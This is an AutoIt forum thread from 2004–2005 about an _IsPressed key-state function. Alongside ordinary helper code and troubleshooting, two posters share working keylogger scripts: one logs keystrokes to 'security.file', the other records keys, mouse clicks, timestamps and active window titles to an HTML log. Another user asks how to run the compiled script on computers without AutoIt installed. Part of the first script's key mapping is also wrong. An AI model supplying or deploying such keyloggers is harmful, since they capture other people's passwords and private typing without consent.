_IsPressed func

Fergus · December 3, 2004

Hey, thanks ezzetabi. This is exactly what I came to the forum for today!

An array of 1000 is large? Nah, that's tiny. And the processing speed for redim? Minimal, unless AutoIt is a real sloth. :idiot:

Another possibility is:

$KeysPressed = "|"
For $i = 1 To $Keys[0]
    If _IsPressed($Keys[$i]) Then
        $KeysPressed = $KeysPressed & $Keys[$i] & "|"
       ; Sleep(1)
     EndIf
Next
Return $KeysPressed

It depends what you want to do with the results but if there's more testing to be done then it's easier to do string searches than have loops that check each item in the returned array.

$KeyPressed_Shift = "|10|"
$KeyPressed_Ctrl  = "|11|"
$KeyPressed_Alt   = "|12|"
$KeysPressed = Pressed()
If StringInStr ($KeysPressed, $KeyPressed_Shift) _
And StringInStr ($KeysPressed, $KeyPressed_Alt) Then
...

(although using _IsPressed ($VK_Shift) And _IsPressed ($VK_Alt) would serve that particular example better).

Fergus

ps: How about @VK_Shift et al, rather than $VK_Shift?

pps. What was that Sleep() for?

ezzetabi · December 3, 2004

Tiny, eh? Sure, but even if EVERY and EACH keyboard key is on you'll have less than 255 true values.

ali · December 3, 2004

Very interesting topic :idiot:

WhOOt · December 17, 2004

How come 4e or some of the other "4x" statements don't work, while the rest of them do?
<{POST_SNAPBACK}>

any of the statements with a letter needs to be in quotes " ' "... try '4x' and '4e'.

~WhOOt

BTW i wanted to share my script, to complete the keylogger.

#include-once

$file = FileOpen("security.file", 1)
If $file = -1 Then
   Exit
EndIf

While 1
   $sleep = 50
;for the a
  If _IsPressed(41) Then
     _LogKeyPress("a")
     sleep($sleep)
     Elseif _IsPressed(42) Then
     _LogKeyPress("b")
          sleep($sleep)
          Elseif _IsPressed(43) Then
     _LogKeyPress("c")
          sleep($sleep)
          Elseif _IsPressed(44) Then
     _LogKeyPress("d")
          sleep($sleep)
          Elseif _IsPressed(45) Then
     _LogKeyPress("e")
          sleep($sleep)
          Elseif _IsPressed(46) Then
     _LogKeyPress("f")
          sleep($sleep)
          Elseif _IsPressed(47) Then
     _LogKeyPress("g")
          sleep($sleep)
          Elseif _IsPressed(48) Then
     _LogKeyPress("h")
          sleep($sleep)
          Elseif _IsPressed(49) Then
     _LogKeyPress("i")
          sleep($sleep)
          Elseif _IsPressed(50) Then
     _LogKeyPress("p")
          sleep($sleep)
          Elseif _IsPressed(51) Then
     _LogKeyPress("q")
          sleep($sleep)
          Elseif _IsPressed(52) Then
     _LogKeyPress("r")
          sleep($sleep)
          Elseif _IsPressed(53) Then
     _LogKeyPress("s")
          sleep($sleep)
          Elseif _IsPressed(54) Then
     _LogKeyPress("t")
          sleep($sleep)
          Elseif _IsPressed(55) Then
     _LogKeyPress("u")
          sleep($sleep)
          Elseif _IsPressed(56) Then
     _LogKeyPress("v")
          sleep($sleep)
          Elseif _IsPressed(57) Then
     _LogKeyPress("w")
          sleep($sleep)
          Elseif _IsPressed(58) Then
     _LogKeyPress("x")
          sleep($sleep)
          Elseif _IsPressed(59) Then
     _LogKeyPress("y")
          sleep($sleep)
          Elseif _IsPressed(60) Then
     _LogKeyPress("0")
          sleep($sleep)
               Elseif _IsPressed(61) Then
     _LogKeyPress("1")
          sleep($sleep)
               Elseif _IsPressed(62) Then
     _LogKeyPress("2")
          sleep($sleep)
               Elseif _IsPressed(63) Then
     _LogKeyPress("3")
          sleep($sleep)
               Elseif _IsPressed(64) Then
     _LogKeyPress("4")
          sleep($sleep)
               Elseif _IsPressed(65) Then
     _LogKeyPress("5")
          sleep($sleep)
               Elseif _IsPressed(66) Then
     _LogKeyPress("6")
          sleep($sleep)
               Elseif _IsPressed(67) Then
     _LogKeyPress("7")
          sleep($sleep)
               Elseif _IsPressed(68) Then
     _LogKeyPress("8")
          sleep($sleep)
               Elseif _IsPressed(69) Then
     _LogKeyPress("9")
          sleep($sleep)
               Elseif _IsPressed(08) Then
     _LogKeyPress(" BACKSPACE ")
          sleep($sleep)
               Elseif _IsPressed(09) Then
     _LogKeyPress(" TAB ")
          Elseif _IsPressed('4A') Then
     _LogKeyPress("j")
          sleep($sleep)
          Elseif _IsPressed('4B') Then
     _LogKeyPress("k")
          sleep($sleep)
          Elseif _IsPressed('4C') Then
     _LogKeyPress("l")
          sleep($sleep)
          Elseif _IsPressed('4D') Then
     _LogKeyPress("m")
          sleep($sleep)
               Elseif _IsPressed('4F') Then
     _LogKeyPress("o")
          sleep($sleep)
                    Elseif _IsPressed('0D') Then
     _LogKeyPress("  ENTER  ")
          sleep($sleep)
               Elseif _IsPressed('5A') Then
     _LogKeyPress("z")
          sleep($sleep)
          Elseif _IsPressed('5B') Then
     _LogKeyPress("  Left Windows key  ")
          sleep($sleep)
          Elseif _IsPressed('5C') Then
     _LogKeyPress("  Right Windows key  ")
          sleep($sleep)
          Elseif _IsPressed('4E') Then
     _LogKeyPress("n")
          sleep($sleep)
           Elseif _IsPressed(30) Then
     _LogKeyPress("0")
          sleep($sleep)
               Elseif _IsPressed(31) Then
     _LogKeyPress("1") 
     sleep($sleep)     
     Elseif _IsPressed(32) Then
     _LogKeyPress("2")
          sleep($sleep)
           Elseif _IsPressed(33) Then
     _LogKeyPress("3")
          sleep($sleep)
           Elseif _IsPressed(34) Then
     _LogKeyPress("4")
          sleep($sleep)
           Elseif _IsPressed(35) Then
     _LogKeyPress("5")
          sleep($sleep)
           Elseif _IsPressed(36) Then
     _LogKeyPress("6")
          sleep($sleep)
           Elseif _IsPressed(37) Then
     _LogKeyPress("7")
          sleep($sleep)
           Elseif _IsPressed(38) Then
     _LogKeyPress("8")
          sleep($sleep)
           Elseif _IsPressed(39) Then
     _LogKeyPress("9")
          sleep($sleep)

     Elseif _IsPressed(20) Then
     _LogKeyPress("  ")
          sleep($sleep)
  EndIf
; repeat that for every key...

  Sleep(50); You may need to change that value (depending on your computer´s speed)
WEnd
Func _LogKeyPress($what2log)
  FileWrite('security.file', $what2log)
EndFunc

FileClose($file)

doomsday123 · January 31, 2005

How come when i copy that code to my autoitv3 script i get the error...

----------------------------------------------------------------------------------

Line 11 (File "C:\Documents and Settings\User\Desktop\File.au3")

If _IsPressed(41) Then

If ^ERROR

Error: Unkown function name.

-----------------------------------------------------------------------------------

Anyone know why?

LazyCoder · January 31, 2005

_IsPressed is a UDF (user defined function) not a built-in function.

Moreover, it's not provided within autoit installer (or I'm blind).

At least, if you had read the WHOLE thread you would have known that and more: ezzetabi's _IsPressed function is written at the very beginning of this thread: HERE

So copy it within your code or in an external file (IsPressed.au3 for instance) you'll include and you're done!

Enjoy!

Edited January 31, 2005 by LazyCoder

doomsday123 · January 31, 2005

Thx Hehe missed that... Got rid of that error but now im getting an error with this line.

$aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)

The error reads...

------------------------------------------------------------------------------------

Line 187 (File "C:\Documents and Settings\User\Desktop\File.au3"):

$aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)

$aR = ^ERROR

Error: Unknown function name.

------------------------------------------------------------------------------------

What else am i missing lol.

Josbe · January 31, 2005

Thx Hehe missed that... Got rid of that error but now im getting an error with this line.
$aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)
The error reads...
------------------------------------------------------------------------------------
Line 187 (File "C:\Documents and Settings\User\Desktop\File.au3"):
$aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)
$aR = ^ERROR
Error: Unknown function name.
------------------------------------------------------------------------------------
What else am i missing lol.
<{POST_SNAPBACK}>

You missed that you need v3.1.0 - Beta version for use DLLCall, too. :lmao:

doomsday123 · February 1, 2005

Thanks. I figured it had to do something with the version i was running. One more question before i go. Do i have to have Autoit installed on the computer i want to run the compiled script on or is there anyway to do it without autoit installed? Thanks.

Josbe · February 1, 2005

Thanks. I figured it had to do something with the version i was running. One more question before i go. Do i have to have Autoit installed on the computer i want to run the compiled script on or is there anyway to do it without autoit installed? Thanks.
<{POST_SNAPBACK}>

Read the manual -> Compiling Scripts...

doomsday123 · February 1, 2005

Lol. I knew that... Or atleast I like to think so. Thanks !

kapowdude · February 1, 2005

i dont get how this _ispressed thing works

the thing just errors for me when i tried gosu's key logger

Edited February 1, 2005 by kapowdude

therks · February 1, 2005

As mentioned on the previous page, you have to be running the latest beta version of AutoIt for the DllCall function to work. If that's not your problem, then try posting more information on the error you're getting.

Trancexually · March 13, 2005

Is there a code for MouseWheelDown / *Up?

Does anyone know of a workaround?

Insolence · March 13, 2005

Try these:

04 Middle mouse button (three-button mouse)
05 Windows 2000/XP: X1 mouse button
06 Windows 2000/XP: X2 mouse button

Trancexually · March 13, 2005

Those don't work; there doesn't seem a virtual key-code for any scroll functionalities [neither scrolling nor pressing down the scroll key]

Any other ideas/ workarounds?

Edited March 13, 2005 by Trancexually

Insolence · March 13, 2005

Up and Down arrows? -.-

Trancexually · March 13, 2005

Sorry, its specifically designed for the scroll wheel on mice

SnowOfIce · May 4, 2005

Find out wich code have to be used. set the code and if you go to the script later you have to find the code again, so you could validate it. So I wrote an advanced Version based on the further IsPressed-function. In this version you could use the same keynames as in Send() plus:

{LMOUSE}

{RMOUSE}

{MMOUSE}

#include <Array.au3>
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Global $ScanCode = StringSplit( StringReplace( "_
          {LMOUSE} |{RMOUSE}    |VK_CANCEL  |{MMOUSE}    |{X1MOUSE} |{X2MOUSE} |n/s       |_
BACKSPACE|{TAB} |n/s         |n/s       |VK_CLEAR    |{RETURN}   |n/s      |n/s       |_
SHIFT   |CONTROL  |ALT       |{PAUSE}   |{CAPSLOCK}   |VK_KANA    |n/s     |VK_JUNJA     |_
VK_FINAL |VK_HANJA |n/s      |ESCAPE     |VK_CONVERT   |VK_NONCONVERT|VK_ACCEPT |VK_MODECHANGE|_
{SPACE}  |PAGEUP   |PAGEDOWN    |{END}    |{HOME}      |{LEFT}     |{UP}      |{RIGHT}    |_
{DOWN}   |VK_SELECT|VK_PRINT    |VK_EXECUTE |{PRINTSCREEN}|INSERT      |DELETE  |VK_HELP      |_
0       |1      |2         |3         |4            |5          |6       |7         |_
8       |9      |n/s         |n/s       |n/s          |n/s        |n/s     |n/s       |_
n/s   |A        |B         |C         |D            |E          |F       |G         |_
H       |I      |J         |K         |L            |M          |N       |O         |_
P       |Q      |R         |S         |T            |U          |V       |W         |_
X       |Y      |Z         |{LWIN}   |{RWIN}       |{APPSKEY}   |n/s       |{SLEEP}   |_
{NUMPAD0}|{NUMPAD1}|{NUMPAD2}   |{NUMPAD3}  |{NUMPAD4}  |{NUMPAD5}  |{NUMPAD6} |{NUMPAD7}   |_
{NUMPAD8}|{NUMPAD9}|{NUMPADMULT}|{NUMPADADD}|VK_SEPERATOR |{NUMPADSUB}  |VK_DECIMAL|{NUMPADDIV}  |_
{F1}     |{F2}   |{F3}      |{F4}      |{F5}         |{F6}       |{F7}    |{F8}      |_
{F9}     |{F10} |{F11}     |{F12}     |{F13}        |{F14}      |{F15}   |{F16}     |_
{F17}   |{F18}  |{F19}     |{F20}     |{F21}        |{F22}      |{F23}   |{F24}     |_
n/s   |n/s    |n/s       |n/s       |n/s          |n/s        |n/s     |n/s       |_
{NUMLOCK}|VK_SCROLL|n/s      |n/s       |n/s          |n/s        |n/s     |n/s       |_
n/s   |n/s    |n/s       |n/s       |n/s          |n/s        |n/s     |n/s       |_
{LSHIFT} |{RSHIFT} |{LCTRL}  |{RCTRL}   |{LALT}    |{RALT}     |     End Of Table       _
", " ", "" ), "|" )
; All function keys with more than one spelling would be listed between Select and EndSelect below
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


Func _GetScanCode( $val )
   Dim $i
   For $i = 1 to $ScanCode[0]
      If $ScanCode[$i] == $val Then ExitLoop
   Next
   If $i >= $ScanCode[0] Then
      Select
         Case $val == "{BACKSPACE}" OR $val == "{BS}"
            $i = 8
         Case $val == "{SHIFT}" OR $val == "+"
            $i = 16
         Case $val == "{CONTROL}" OR $val == "{CTRL}" OR $val == "^"
            $i = 17
         Case $val == "{ALT}" OR $val == "!"
            $i = 18
         Case $val == "{ESCAPE}" OR $val == "{ESC}"
            $i = 27
         Case $val == "{PAGEUP}" OR $val == "{PGUP}"
            $i = 33
         Case $val == "{PAGEDOWN}" OR $val == "{PGDN}"
            $i = 34
         Case $val == "{INSERT}" OR $val == "{INS}"
            $i = 45
         Case $val == "{DELETE}" OR $val == "{DEL}"
            $i = 46
         Case $val == "#"
            $i = 0
         Case Else
            $i = -1
      EndSelect
   EndIf
   Return Hex( $i, 2 )
EndFunc


Func _IsPressed( $hexKey )
; $hexKey must be the value of one of the keys.
; _IsPressed_Adv will Return 0 if the key is not pressed, 1 if it is.
; $hexKey should entered as a string, Don't Forget the quotes!
; (yeah, layer. This is For you)
 
   Local $aR, $bO
 
   $hexKey = '0x' & $hexKey
   $aR = DllCall( "user32.dll", "int", "GetAsyncKeyState", "int", $hexKey )
   If Not @error And BitAND( $aR[0], 0x8000 ) == 0x8000 Then
      $bO = 1
   Else
      $bO = 0
   EndIf
   Return $bO
EndFunc


Func _IsPressed_Adv( $Key, $state=1 )
; $Key could be a string.
; If $state=0 than all characters in $Key would be connected by OR otherwise by AND

   $avArray = StringSplit( StringStripCR( StringReplace( StringUpper( $Key ), " ", "" )), "" )
   $i = 1
   Do
      If $avArray[$i] == '{' Then
         While $i < UBound( $avArray )-1
            $avArray[$i] = $avArray[$i] & $avArray[$i+1]
            If $i+1  < UBound( $avArray )-1 AND $avArray[$i+1] == '}' Then
               If $avArray[$i+2] == '}' Then
                  $avArray[$i] = $avArray[$i] & $avArray[$i+2]
                  _ArrayDelete($avArray, $i+2)
               EndIf
               _ArrayDelete($avArray, $i+1)
               ExitLoop
             EndIf
             _ArrayDelete($avArray, $i+1)
         Wend
      EndIf
      $i = $i+1
   Until $i = UBound( $avArray )
   $avArray[0] = UBound( $avArray )-1
   Dim $result
   If $state == 0 Then
      $result = 0
      For $i = 1 to $avArray[0]
         $gs = _GetScanCode( $avArray[$i] )
         If $gs < Hex( 0, 2 ) Then
            SetError(1)
            Return 0
         ElseIf $gs == Hex( 0, 2 ) Then
            $result = $result OR _IsPressed_Adv( "{LWIN}{RWIN}", 0 )
         Else
            $result = $result OR _IsPressed( $gs )
         EndIf
      Next
   Else
      $result = 1
      For $i = 1 to $avArray[0]
         $gs = _GetScanCode( $avArray[$i] )
         If $gs < Hex( 0, 2 ) Then
            SetError( 1 )
            Return 0
         ElseIf $gs == Hex( 0, 2 ) Then
            $result = $result AND _IsPressed_Adv( "{LWIN}{RWIN}", 0 )
         Else
            $result = $result AND _IsPressed( $gs )
         EndIf
      Next
   EndIf
   Return $result
EndFunc




;;;;;;;;;;;;;;;;;;;;;;;;;; Main;;;;;;;;;;;;;;;;;;;;;;;;;;



While 1; Waiting for left mouse button
    if _IsPressed_Adv("{LMOUSE}") == 1 then exitloop
Wend

Edited May 4, 2005 by SnowOfIce

Orca · May 4, 2005

;;break(0);disllow close from the tasktray
;; Comment this out to prevent hotkey exit
hotkeyset('{esc}', 'halt')
func halt()
    exit
endFunc

$i=0
$shiftDown=0
$window2=""
$date=@year&@mon&@mday
$logDir=@DesktopDir
$logFile='log.html'
DirCreate ($logDir)
Opt("TrayIconHide", 0)  
;------------------------------------------------Other Functions------------------
Func _IsPressed($hexKey)

Local $aR, $bRv
$hexKey = '0x' & $hexKey
$aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)

If $aR[0] <> 0 Then
    $bRv = 1
Else
    $bRv = 0
EndIf

Return $bRv
EndFunc  

$file = FileOpen($logDir&'\'&$logFile, 1)
If $file = -1 Then
  Exit
EndIf
filewrite($file,"<font face=Verdana size=1>")


Func Terminate()
DllClose ( $user32 )
FileClose ( $file )
    Exit
EndFunc

Opt("OnExitFunc","Terminate")
$user32 = DllOpen ( "user32" )


$x = 0
$y = 0
$key = ''
Dim $keyDown[8][16]
for $x = 0 to 7
 for $y = 0 to 15
  $keyDown[$x][$y] = 0
 next
next


while 1
    if _IsPressed('01') Then
        _LogKeyPress('<font color=#008000 style=font-size:9px><i> [LEFT MOUSE] </i></font>')
    endif
    if _IsPressed('02') Then
        _LogKeyPress('<font color=#008000 style=font-size:9px><i> [RIGHT MOUSE] </i></font>')
    endif
    if _IsPressed('08') Then
        _LogKeyPress('<font color=#F00000 style=font-size:9px><i> [BACKSPACE] </i></font>')
    endif
    if _IsPressed('09') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [TAB] </i></font>')
    endif
    if _IsPressed('0d') Then
        _LogKeyPress('<font color=#A000A0 style=font-size:9px><i> [ENTER] </i></font><br>')
    endif
    if _IsPressed('10') Then
        _LogKeyPress('<font color=#00A0A0 style=font-size:9px><i> [SHIFT] </i></font>')
    endif
    if _IsPressed('12') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [CTRL] </i></font>')
    endif
    if _IsPressed('13') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PAUSE] </i></font>')
    endif
    if _IsPressed('14') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [CAPSLOCK] </i></font>')
    endif
    if _IsPressed('1b') Then
        _LogKeyPress('<font color=#F00000 style=font-size:9px><i> [ESC] </i></font>')
    endif
    if _IsPressed('21') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PGUP] </i></font>')
    endif
    if _IsPressed('22') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PGDOWN] </i></font>')
    endif
    if _IsPressed('23') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [END] </i></font>')
    endif
    if _IsPressed('24') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [HOME] </i></font>')
    endif
    if _IsPressed('25') Then
        _LogKeyPress('<font color=#0000F0 style=font-size:9px><i> [LEFT] </i></font>')
    endif
    if _IsPressed('26') Then
        _LogKeyPress('<font color=#0080F0 style=font-size:9px><i> [UP] </i></font>')
    endif
    if _IsPressed('27') Then
        _LogKeyPress('<font color=#0080F0 style=font-size:9px><i> [RIGHT] </i></font>')
    endif
    if _IsPressed('28') Then
        _LogKeyPress('<font color=#0080F0 style=font-size:9px><i> [DOWN] </i></font>')
    endif
    if _IsPressed('2c') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [PRINTSCREEN] </i></font>')
    endif
    if _IsPressed('2d') Then
        _LogKeyPress('<font color=#FF8000 style=font-size:9px><i> [INSERT] </i></font>')
    endif
    if _IsPressed('2e') Then
        _LogKeyPress('<font color=#F00a000 style=font-size:9px><i> [DELETE] </i></font>')
    endif
    
    
    for $x = 2 to 7
     for $y = 0 to 15
        $key = hex($x, 1)&hex($y, 1)
        If _IsPressed($key) AND $keyDown[$x][$y] == 0 Then
            _LogKeyPress(chr(dec($key)))
            $keyDown[$x][$y] = 1
        
        else
            If _IsPressed($key)then
            else
                $keyDown[$x][$y] = 0
            endif
        endif
       next
     next
wend


Func _LogKeyPress($what2log)
$window=wingettitle("")
if $window=$window2 Then
    FileWrite($file,$what2log)
    Sleep(95)
Else
$window2=$window
FileWrite($file, "<br><BR>" & "<b> ["& @Year&"."&@mon&"."&@mday&"  "&@HOUR & ":" &@MIN & ":" &@SEC & ']  Window: "'& $window& '"</b><br>'& $what2log)
sleep (95)
Endif
EndFunc

This works off the fact that characters are sent based on a 0-7, 0-F hex grid (00 all the way up to 7F (127). IMO Much faster... It also implements a keyup keydown state so slow typers don't feed in

IIII'''MMMM WRRITTINGGG SOMMEETHIINGGG... I was having problems with that last sleep(100) in the log func. I couldn't find a time that suited my fast typing and my slow typing without either skipping keys or adding too many to the log.

_IsPressed func

Recommended Posts

Link to comment

Share on other sites

Top Posters In This Topic

Top Posters In This Topic

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Link to comment

Share on other sites

Create an account or sign in to comment

Create an account

Sign in

Recently Browsing 0 members